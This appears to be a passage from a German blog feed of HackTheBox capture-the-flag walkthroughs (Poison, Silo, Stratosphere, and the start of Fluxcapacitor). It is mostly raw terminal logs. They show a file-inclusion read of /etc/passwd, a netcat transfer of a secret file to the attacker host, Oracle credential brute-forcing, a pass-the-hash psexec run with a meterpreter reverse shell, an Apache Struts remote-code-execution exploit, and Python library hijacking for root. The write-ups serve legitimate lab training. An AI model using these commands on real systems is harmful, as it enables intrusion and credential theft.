cp6666uucp-pseudo-uservarspooluucppublicusrlocallibexecuucpuucico-pop686post-office-ownernonexistentusrsbinnologin-auditdistd7877auditdistd-unprivileged-uservaremptyusrsbinnologin-www8080world-wide-web-ownernonexistentusrsbinnologin-_ypldap160160yp-ldap-unprivileged-uservaremptyusrsbinnologin-hast845845hast-unprivileged-uservaremptyusrsbinnologin-nobody6553465534unprivileged-usernonexistentusrsbinnologin-_tss601601trousers-uservaremptyusrsbinnologin-messagebus556556d-bus-daemon-usernonexistentusrsbinnologin-avahi558558avahi-daemon-usernonexistentusrsbinnologin-cups193193cups-ownernonexistentusrsbinnologin-charix10011001charixhomecharixbincsh">$FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $ # root:<em>:0:0:Charlie &amp;:/root:/bin/csh toor:</em>:0:0:Bourne-again Superuser:/root: daemon:<em>:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:</em>:2:5:System &amp;:/:/usr/sbin/nologin bin:<em>:3:7:Binaries Commands and Source:/:/usr/sbin/nologin tty:</em>:4:65533:Tty Sandbox:/:/usr/sbin/nologin kmem:<em>:5:65533:KMem Sandbox:/:/usr/sbin/nologin games:</em>:7:13:Games pseudo-user:/:/usr/sbin/nologin news:<em>:8:8:News Subsystem:/:/usr/sbin/nologin man:</em>:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:<em>:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:</em>:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:<em>:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:</em>:53:53:Bind Sandbox:/:/usr/sbin/nologin unbound:<em>:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin proxy:</em>:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:<em>:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin _dhcp:</em>:65:65:dhcp programs:/var/empty:/usr/sbin/nologin uucp:<em>:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:</em>:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin auditdistd:<em>:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin www:</em>:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin _ypldap:<em>:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin hast:</em>:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin nobody:<em>:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin _tss:</em>:601:601:TrouSerS user:/var/empty:/usr/sbin/nologin messagebus:<em>:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin avahi:</em>:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin cups:<em>:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin charix:</em>:1001:1001:charix:/home/charix:/bin/csh</h1>
<p>http://10.10.10.84/browse.php?file=listfiles.php</p>
<p>Array ( [0] =&gt; . [1] =&gt; .. [2] =&gt; browse.php [3] =&gt; index.php [4] =&gt; info.php [5] =&gt; ini.php [6] =&gt; listfiles.php [7] =&gt; phpinfo.php [8] =&gt; pwdbackup.txt )</p>
<p>http://10.10.10.84/browse.php?file=pwdbackup.txt</p>
<p>This password is secure, it&rsquo;s encoded atleast 13 times.. what could go wrong really.. Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=</p>
<p><a href="https://gchq.github.io/CyberChef/">https://gchq.github.io/CyberChef/</a></p>
<p>charix@Poison:~ % ls -alh<br>
total 64<br>
drwxr-x&mdash; 3 charix charix 512B Sep 14 09:15 .<br>
drwxr-xr-x 3 root wheel 512B Mar 19 16:08 ..<br>
-rw&mdash;&mdash;- 1 charix charix 51B Sep 14 09:04 .Xauthority<br>
-rw-r&mdash;&ndash; 1 charix charix 1.0K Mar 19 17:16 .cshrc<br>
-rw-rw&mdash;- 1 charix charix 0B Sep 14 09:15 .history<br>
-rw-r&mdash;&ndash; 1 charix charix 254B Mar 19 16:08 .login<br>
-rw-r&mdash;&ndash; 1 charix charix 163B Mar 19 16:08 .login_conf<br>
-rw-r&mdash;&ndash; 1 charix charix 379B Mar 19 16:08 .mail_aliases<br>
-rw-r&mdash;&ndash; 1 charix charix 336B Mar 19 16:08 .mailrc<br>
-rw-r&mdash;&ndash; 1 charix charix 802B Mar 19 16:08 .profile<br>
-rw-r&mdash;&ndash; 1 charix charix 281B Mar 19 16:08 .rhosts<br>
-rw-r&mdash;&ndash; 1 charix charix 849B Mar 19 16:08 .shrc<br>
drwx&mdash;&mdash; 2 charix charix 512B Sep 14 09:04 .vnc<br>
-rw-r&ndash;r&ndash; 1 charix charix 166B Sep 14 08:03 nc<br>
-r&ndash;r&ndash;r&ndash; 1 charix charix 0B Sep 14 07:42 secret<br>
-rw-r&mdash;&ndash; 1 root charix 166B Mar 19 16:35 secret.zip<br>
-r&ndash;r&ndash;r&ndash; 1 charix charix 8B Sep 14 08:47 secreths<br>
-rw-r&mdash;&ndash; 1 root charix 33B Mar 19 16:11 user.txt<br>
charix@Poison:~ % cat user.txt<br>
eaacdfb2d141b72a589233063604209c<br>
charix@Poison:~ % nc 10.10.13.81 4444 &lt; secret.zip<br>
charix@Poison:~ % sockstat -l | grep root<br>
root sendmail 651 3 tcp4 127.0.0.1:25 <em>:</em><br>
root httpd 632 3 tcp6 *:80 <em>:</em><br>
root httpd 632 4 tcp4 *:80 <em>:</em><br>
root sshd 626 3 tcp6 *:22 <em>:</em><br>
root sshd 626 4 tcp4 *:22 <em>:</em><br>
root Xvnc 545 0 stream /tmp/.X11-unix/X1<br>
root Xvnc 545 1 tcp4 127.0.0.1:5901 <em>:</em><br>
root Xvnc 545 3 tcp4 127.0.0.1:5801 <em>:</em><br>
root syslogd 406 4 dgram /var/run/log<br>
root syslogd 406 5 dgram /var/run/logpriv<br>
root syslogd 406 6 udp6 *:514 <em>:</em><br>
root syslogd 406 7 udp4 *:514 <em>:</em><br>
root devd 335 4 stream /var/run/devd.pipe<br>
root devd 335 5 seqpac /var/run/devd.seqpacket.pipe<br>
charix@Poison:~ %</p>
<p>root@kali:~# ifconfig tun0<br>
tun0: flags=4305&lt;UP,POINTOPOINT,RUNNING,NOARP,MULTICAST&gt; mtu 1500<br>
inet 10.10.13.81 netmask 255.255.252.0 destination 10.10.13.81<br>
inet6 fe80::4831:3118:ce71:2403 prefixlen 64 scopeid 0x20<!-- raw HTML omitted --><br>
inet6 dead:beef:2::114f prefixlen 64 scopeid 0x0<!-- raw HTML omitted --><br>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)<br>
RX packets 1484 bytes 129741 (126.7 KiB)<br>
RX errors 0 dropped 0 overruns 0 frame 0<br>
TX packets 2007 bytes 118530 (115.7 KiB)<br>
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0</p>
<p>root@kali:<del># nc -lnvp 4444 &gt; secret.zip<br>
listening on [any] 4444 &hellip;<br>
connect to [10.10.13.81] from (UNKNOWN) [10.10.10.84] 29260<br>
root@kali:</del># unzip secret.zip<br>
Archive: secret.zip<br>
[secret.zip] secret password:<br>
extracting: secret<br>
root@kali:~# cat secret<br>
[|Ֆz!</p>
<p>root@kali:~# ssh -L 5901:127.0.0.1:5901 <a href="mailto:charix@10.10.10.84">charix@10.10.10.84</a><br>
Password for charix@Poison:<br>
Last login: Fri Sep 14 11:02:28 2018 from 10.10.13.81<br>
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017</p>
<p>Welcome to FreeBSD!</p>
<p>Release Notes, Errata: <a href="https://www.FreeBSD.org/releases/">https://www.FreeBSD.org/releases/</a><br>
Security Advisories: <a href="https://www.FreeBSD.org/security/">https://www.FreeBSD.org/security/</a><br>
FreeBSD Handbook: <a href="https://www.FreeBSD.org/handbook/">https://www.FreeBSD.org/handbook/</a><br>
FreeBSD FAQ: <a href="https://www.FreeBSD.org/faq/">https://www.FreeBSD.org/faq/</a><br>
Questions List: <a href="https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/">https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/</a><br>
FreeBSD Forums: <a href="https://forums.FreeBSD.org/">https://forums.FreeBSD.org/</a></p>
<p>Documents installed with the system are in the /usr/local/share/doc/freebsd/<br>
directory, or can be installed later with: pkg install en-freebsd-doc<br>
For other languages, replace &ldquo;en&rdquo; with a language code like de or fr.</p>
<p>Show the version of FreeBSD installed: freebsd-version ; uname -a<br>
Please include that output and any error messages when posting questions.<br>
Introduction to manual pages: man man<br>
FreeBSD directory layout: man hier</p>
<p>Edit /etc/motd to change this login announcement.<br>
To repeat the last command in the C shell, type &ldquo;!!&rdquo;.<br>
&ndash; Dru <a href="mailto:genesis@istar.ca">genesis@istar.ca</a><br>
charix@Poison:~ %</p>
<p>neuer Tab!!!</p>
<p>root@kali:<del># netstat -antp<br>
Active Internet connections (servers and established)<br>
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name<br>
tcp 0 0 127.0.0.1:5901 0.0.0.0:* LISTEN 21793/ssh<br>
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 613/postgres<br>
tcp 0 0 10.10.13.81:40500 10.10.10.84:22 ESTABLISHED 21565/ssh<br>
tcp 0 0 10.10.13.81:40510 10.10.10.84:22 ESTABLISHED 21793/ssh<br>
tcp6 0 0 ::1:5901 :::* LISTEN 21793/ssh<br>
tcp6 0 0 ::1:5432 :::* LISTEN 613/postgres<br>
root@kali:</del># xtightvncviewer -passwd secret localhost:5901<br>
Connected to RFB server, using protocol version 3.8<br>
Enabling TightVNC protocol extensions<br>
Performing standard VNC authentication<br>
Authentication successful<br>
Desktop name &ldquo;root&rsquo;s X desktop (Poison:1)&rdquo;<br>
VNC server default format:<br>
32 bits per pixel.<br>
Least significant byte first in each pixel.<br>
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0<br>
Using default colormap which is TrueColor. Pixel format:<br>
32 bits per pixel.<br>
Least significant byte first in each pixel.<br>
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0<br>
Same machine: preferring raw encoding</p>
]]></content></item><item><title>HackTheBox - Silo</title><link>https://m10x.de/posts/2010/01/hackthebox-silo/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/hackthebox-silo/</guid><description>root@kali:~# msfconsole
msf &amp;gt; use admin/oracle/oracle_login
msf auxiliary(admin/oracle/oracle_login) &amp;gt; set rhost 10.10.10.82
rhost =&amp;gt; 10.10.10.82
msf auxiliary(admin/oracle/oracle_login) &amp;gt; set sid XE
sid =&amp;gt; XE
msf auxiliary(admin/oracle/oracle_login) &amp;gt; run
[] Starting brute force on 10.10.10.82:1521&amp;hellip;
[+] Found user/pass of: scott/tiger on 10.10.10.82 with sid XE
[] Auxiliary module execution completed
msf auxiliary(admin/oracle/oracle_login) &amp;gt;
msf exploit(windows/smb/psexec) &amp;gt; show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
RHOST 10.10.10.82 yes The target address</description><content type="html"><![CDATA[<p><a href="http://www.youtube.com/watch?v=YOUTUBE_VIDEO_ID_HERE"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg"></a></p>
<p>root@kali:~# msfconsole</p>
<p>msf &gt; use admin/oracle/oracle_login<br>
msf auxiliary(admin/oracle/oracle_login) &gt; set rhost 10.10.10.82<br>
rhost =&gt; 10.10.10.82<br>
msf auxiliary(admin/oracle/oracle_login) &gt; set sid XE<br>
sid =&gt; XE<br>
msf auxiliary(admin/oracle/oracle_login) &gt; run</p>
<p>[<em>] Starting brute force on 10.10.10.82:1521&hellip;<br>
[+] Found user/pass of: scott/tiger on 10.10.10.82 with sid XE<br>
[</em>] Auxiliary module execution completed<br>
msf auxiliary(admin/oracle/oracle_login) &gt;</p>
<p>msf exploit(windows/smb/psexec) &gt; show options</p>
<p>Module options (exploit/windows/smb/psexec):</p>
<p>Name Current Setting Required Description</p>
<hr>
<p>RHOST 10.10.10.82 yes The target address<br>
RPORT 445 yes The SMB service port (TCP)<br>
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing<br>
SERVICE_DISPLAY_NAME no The service display name<br>
SERVICE_NAME no The service name<br>
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,&hellip;) or a normal read/write folder share<br>
SMBDomain . no The Windows domain to use for authentication<br>
SMBPass aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7 no The password for the specified username<br>
SMBUser Administrator no The username to authenticate as</p>
<p>Payload options (windows/meterpreter/reverse_tcp):</p>
<p>Name Current Setting Required Description</p>
<hr>
<p>EXITFUNC thread yes Exit technique (Accepted: &lsquo;&rsquo;, seh, thread, process, none)<br>
LHOST tun0 yes The listen address (an interface may be specified)<br>
LPORT 443 yes The listen port</p>
<p>Exploit target:</p>
<p>Id Name</p>
<hr>
<p>0 Automatic</p>
<p>msf exploit(windows/smb/psexec) &gt; exploit</p>
<p>[<em>] Started reverse TCP handler on 10.10.14.191:443<br>
[</em>] 10.10.10.82:445 - Connecting to the server&hellip;<br>
[<em>] 10.10.10.82:445 - Authenticating to 10.10.10.82:445 as user &lsquo;Administrator&rsquo;&hellip;<br>
[</em>] 10.10.10.82:445 - Selecting PowerShell target<br>
[<em>] 10.10.10.82:445 - Executing the payload&hellip;<br>
[+] 10.10.10.82:445 - Service start timed out, OK if running a command or non-service executable&hellip;<br>
[</em>] Sending stage (179779 bytes) to 10.10.10.82<br>
[*] Meterpreter session 2 opened (10.10.14.191:443 -&gt; 10.10.10.82:49165) at 2018-08-21 05:39:49 -0400</p>
<p>meterpreter &gt; getuid<br>
Server username: NT AUTHORITY\SYSTEM<br>
meterpreter &gt; shell<br>
Process 2508 created.<br>
Channel 1 created.<br>
Microsoft Windows [Version 6.3.9600]<br>
(c) 2013 Microsoft Corporation. All rights reserved.</p>
<p>C:\Windows\system32&gt;</p>
]]></content></item><item><title>HackTheBox - Stratosphere</title><link>https://m10x.de/posts/2010/01/hackthebox-stratosphere/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/hackthebox-stratosphere/</guid><description>root@kali:~# searchsploit apache struts
&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;ndash; &amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;$
Exploit Title | Path
| (/usr/share/exploitdb/)
[&amp;hellip;]
Apache Struts 2.3.5 &amp;lt; 2.3.31 / 2.5 &amp;lt; 2.5.10 - Remote Code Execution | exploits/linux/webapps/41570.py
[&amp;hellip;]
root@kali:~# searchsploit -m exploits/linux/webapps/41570.py
Exploit: Apache Struts 2.3.5 &amp;lt; 2.3.31 / 2.5 &amp;lt; 2.5.10 - Remote Code Execution
URL: https://www.exploit-db.com/exploits/41570/
Path: /usr/share/exploitdb/exploits/linux/webapps/41570.py
File Type: Python script, ASCII text executable, with CRLF line terminators
Copied to: /root/41570.py
root@kali:~# python 41570.py http://10.10.10.64/Monitoring/example/Welcome.action id</description><content type="html"><![CDATA[<p><a href="http://www.youtube.com/watch?v=YOUTUBE_VIDEO_ID_HERE"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg"></a></p>
<p>root@kali:~# searchsploit apache struts<br>
&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&ndash; &mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;$<br>
Exploit Title | Path<br>
| (/usr/share/exploitdb/)</p>
<hr>
<p>[&hellip;]<br>
Apache Struts 2.3.5 &lt; 2.3.31 / 2.5 &lt; 2.5.10 - Remote Code Execution | exploits/linux/webapps/41570.py<br>
[&hellip;]</p>
<p>root@kali:~# searchsploit -m exploits/linux/webapps/41570.py<br>
Exploit: Apache Struts 2.3.5 &lt; 2.3.31 / 2.5 &lt; 2.5.10 - Remote Code Execution<br>
URL: <a href="https://www.exploit-db.com/exploits/41570/">https://www.exploit-db.com/exploits/41570/</a><br>
Path: /usr/share/exploitdb/exploits/linux/webapps/41570.py<br>
File Type: Python script, ASCII text executable, with CRLF line terminators</p>
<p>Copied to: /root/41570.py</p>
<p>root@kali:~# python 41570.py http://10.10.10.64/Monitoring/example/Welcome.action id<br>
[<em>] CVE: 2017-5638 - Apache Struts2 S2-045<br>
[</em>] cmd: id</p>
<p>uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)</p>
<p>root@kali:~# python 41570.py http://10.10.10.64/Monitoring/example/Welcome.action &ldquo;ls -alh&rdquo;<br>
[<em>] CVE: 2017-5638 - Apache Struts2 S2-045<br>
[</em>] cmd: ls -alh</p>
<p>total 24K<br>
drwxr-xr-x 5 root root 4.0K Sep 2 17:06 .<br>
drwxr-xr-x 42 root root 4.0K Oct 3 2017 ..<br>
lrwxrwxrwx 1 root root 12 Sep 3 2017 conf -&gt; /etc/tomcat8<br>
-rw-r&ndash;r&ndash; 1 root root 68 Oct 2 2017 db_connect<br>
drwxr-xr-x 2 tomcat8 tomcat8 4.0K Sep 3 2017 lib<br>
lrwxrwxrwx 1 root root 17 Sep 3 2017 logs -&gt; ../../log/tomcat8<br>
drwxr-xr-x 2 root root 4.0K Sep 2 17:06 policy<br>
drwxrwxr-x 4 tomcat8 tomcat8 4.0K Feb 10 2018 webapps<br>
lrwxrwxrwx 1 root root 19 Sep 3 2017 work -&gt; ../../cache/tomcat8</p>
<p>root@kali:~# python 41570.py http://10.10.10.64/Monitoring/example/Welcome.action &ldquo;cat db_connect&rdquo;<br>
[<em>] CVE: 2017-5638 - Apache Struts2 S2-045<br>
[</em>] cmd: cat db_connect</p>
<p>[ssn]<br>
user=ssn_admin<br>
pass=AWs64@on*&amp;</p>
<p>[users]<br>
user=admin<br>
pass=admin</p>
<p>root@kali:~# python 41570.py http://10.10.10.64/Monitoring/example/Welcome.action &lsquo;mysql &ndash;user=admin &ndash;password=admin -e &ldquo;show databases;&rdquo;&rsquo;<br>
[<em>] CVE: 2017-5638 - Apache Struts2 S2-045<br>
[</em>] cmd: mysql &ndash;user=admin &ndash;password=admin -e &ldquo;show databases;&rdquo;</p>
<p>Database<br>
information_schema<br>
users</p>
<p>root@kali:~# python 41570.py http://10.10.10.64/Monitoring/example/Welcome.action &lsquo;mysql &ndash;user=admin &ndash;password=admin -e &ldquo;use users; show tables;&rdquo;&rsquo;<br>
[<em>] CVE: 2017-5638 - Apache Struts2 S2-045<br>
[</em>] cmd: mysql &ndash;user=admin &ndash;password=admin -e &ldquo;use users; show tables;&rdquo;</p>
<p>Tables_in_users<br>
accounts</p>
<p>root@kali:~# python 41570.py http://10.10.10.64/Monitoring/example/Welcome.action &lsquo;mysql &ndash;user=admin &ndash;password=admin -e &ldquo;use users; select * from users.accounts;&rdquo;&rsquo;<br>
[<em>] CVE: 2017-5638 - Apache Struts2 S2-045<br>
[</em>] cmd: mysql &ndash;user=admin &ndash;password=admin -e &ldquo;use users; select * from users.accounts;&rdquo;</p>
<p>fullName password username<br>
Richard F. Smith 9tc*rhKuG5TyXvUJOrE^5CK7k richard</p>
<p>root@kali:~# ssh <a href="mailto:richard@10.10.10.64">richard@10.10.10.64</a><br>
The authenticity of host &lsquo;10.10.10.64 (10.10.10.64)&rsquo; can&rsquo;t be established.<br>
ECDSA key fingerprint is SHA256:tQZo8j1TeVASPxWyDgqJf8PaDZJV/+LeeBZnjueAW/E.<br>
Are you sure you want to continue connecting (yes/no)? yes<br>
Warning: Permanently added &lsquo;10.10.10.64&rsquo; (ECDSA) to the list of known hosts.<br>
<a href="mailto:richard@10.10.10.64">richard@10.10.10.64</a>&rsquo;s password:<br>
Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64</p>
<p>The programs included with the Debian GNU/Linux system are free software;<br>
the exact distribution terms for each program are described in the<br>
individual files in /usr/share/doc/*/copyright.</p>
<p>Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br>
permitted by applicable law.<br>
Last login: Mon Sep 3 09:07:51 2018 from 10.10.15.86<br>
richard@stratosphere:<del>$ ls -alh<br>
total 56K<br>
drwxr-x&mdash; 7 richard richard 4.0K Sep 3 08:57 .<br>
drwxr-xr-x 4 root root 4.0K Sep 19 2017 ..<br>
lrwxrwxrwx 1 root root 9 Feb 10 2018 .bash_history -&gt; /dev/null<br>
-rw-r&ndash;r&ndash; 1 richard richard 220 Sep 19 2017 .bash_logout<br>
-rw-r&ndash;r&ndash; 1 richard richard 3.5K Sep 19 2017 .bashrc<br>
drwxr-xr-x 3 richard richard 4.0K Oct 18 2017 .cache<br>
drwxr-xr-x 3 richard richard 4.0K Oct 18 2017 .config<br>
drwxr-xr-x 2 richard richard 4.0K Sep 3 02:04 .nano<br>
-rw-r&ndash;r&ndash; 1 richard richard 675 Sep 19 2017 .profile<br>
drwxrwxrwx 2 richard richard 4.0K Oct 18 2017 Desktop<br>
drwxr-xr-x 2 root root 4.0K Sep 3 05:56 <strong>pycache</strong><br>
-rw-r&ndash;r&ndash; 1 richard richard 11 Sep 3 09:08 hashlib.py<br>
-rw-r&ndash;r&ndash; 1 root root 175 Sep 3 07:59 hashlib.pyc<br>
-rwxr-x&mdash; 1 root richard 1.5K Mar 19 15:23 test.py<br>
-r&mdash;&mdash;&ndash; 1 richard richard 33 Feb 27 2018 user.txt<br>
richard@stratosphere:</del>$ cat user.txt<br>
e61##########################36b</p>
<p>richard@stratosphere:~$ sudo -l<br>
Matching Defaults entries for richard on stratosphere:<br>
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</p>
<p>User richard may run the following commands on stratosphere:<br>
(ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py<br>
richard@stratosphere:~$ cat test.py<br>
#!/usr/bin/python3<br>
import hashlib</p>
<p>def question():<br>
q1 = input(&ldquo;Solve: 5af003e100c80923ec04d65933d382cb\n&rdquo;)<br>
md5 = hashlib.md5()<br>
md5.update(q1.encode())<br>
if not md5.hexdigest() == &ldquo;5af003e100c80923ec04d65933d382cb&rdquo;:<br>
print(&ldquo;Sorry, that&rsquo;s not right&rdquo;)<br>
return<br>
print(&ldquo;You got it!&rdquo;)<br>
q2 = input(&ldquo;Now what&rsquo;s this one? d24f6fb449855ff42344feff18ee2819033529ff\n&rdquo;)<br>
sha1 = hashlib.sha1()<br>
sha1.update(q2.encode())<br>
if not sha1.hexdigest() == &lsquo;d24f6fb449855ff42344feff18ee2819033529ff&rsquo;:<br>
print(&ldquo;Nope, that one didn&rsquo;t work&hellip;&rdquo;)<br>
return<br>
print(&ldquo;WOW, you&rsquo;re really good at this!&rdquo;)<br>
q3 = input(&ldquo;How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n&rdquo;)<br>
md4 = hashlib.new(&lsquo;md4&rsquo;)<br>
md4.update(q3.encode())<br>
if not md4.hexdigest() == &lsquo;91ae5fc9ecbca9d346225063f23d2bd9&rsquo;:<br>
print(&ldquo;Yeah, I don&rsquo;t think that&rsquo;s right.&rdquo;)<br>
return<br>
print(&ldquo;OK, OK! I get it. You know how to crack hashes&hellip;&rdquo;)<br>
q4 = input(&ldquo;Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n&rdquo;)<br>
blake = hashlib.new(&lsquo;BLAKE2b512&rsquo;)<br>
blake.update(q4.encode())<br>
if not blake.hexdigest() == &lsquo;9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943&rsquo;:<br>
print(&ldquo;You were so close! urg&hellip; sorry rules are rules.&rdquo;)<br>
return</p>
<p>import os<br>
os.system(&rsquo;/root/success.py&rsquo;)<br>
return</p>
<p>question()</p>
<p>richard@stratosphere:<del>$ echo &ldquo;import pty; pty.spawn(&rsquo;/bin/sh&rsquo;)&rdquo; &gt; hashlib.py<br>
richard@stratosphere:</del>$ sudo /usr/bin/python /home/richard/test.py</p>
<h1 id="id">id</h1>
<p>uid=0(root) gid=0(root) groups=0(root)</p>
<h1 id="cat-rootroottxt">cat /root/root.txt</h1>
<p>d41##########################27e</p>
]]></content></item><item><title>HackTheBox Fluxcapacitator</title><link>https://m10x.de/posts/2010/01/hackthebox-fluxcapacitator/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/hackthebox-fluxcapacitator/</guid><description>HackTheBox – Fluxcapacitor WriteUp | Tipps + Anleitung | htb Fluxcapacitor ist eine der vielen Verfügbaren CTF Challenges von HackTheBox. Fluxcapacitor ist eine leichte bis mittelschwere Maschine von HackTheBox.
Tipps [su_spoiler title=&amp;ldquo;Tipp 1&amp;rdquo; open=&amp;ldquo;no&amp;rdquo; style=&amp;ldquo;fancy&amp;rdquo; icon=&amp;ldquo;plus&amp;rdquo; anchor=&amp;quot;&amp;quot; class=&amp;quot;&amp;quot;]
[/su_spoiler]
[su_spoiler title=&amp;ldquo;Tipp 2&amp;rdquo; open=&amp;ldquo;no&amp;rdquo; style=&amp;ldquo;fancy&amp;rdquo; icon=&amp;ldquo;plus&amp;rdquo; anchor=&amp;quot;&amp;quot; class=&amp;quot;&amp;quot;]
[/su_spoiler]
[su_spoiler title=&amp;ldquo;Tipp 3&amp;rdquo; open=&amp;ldquo;no&amp;rdquo; style=&amp;ldquo;fancy&amp;rdquo; icon=&amp;ldquo;plus&amp;rdquo; anchor=&amp;quot;&amp;quot; class=&amp;quot;&amp;quot;]
[/su_spoiler]
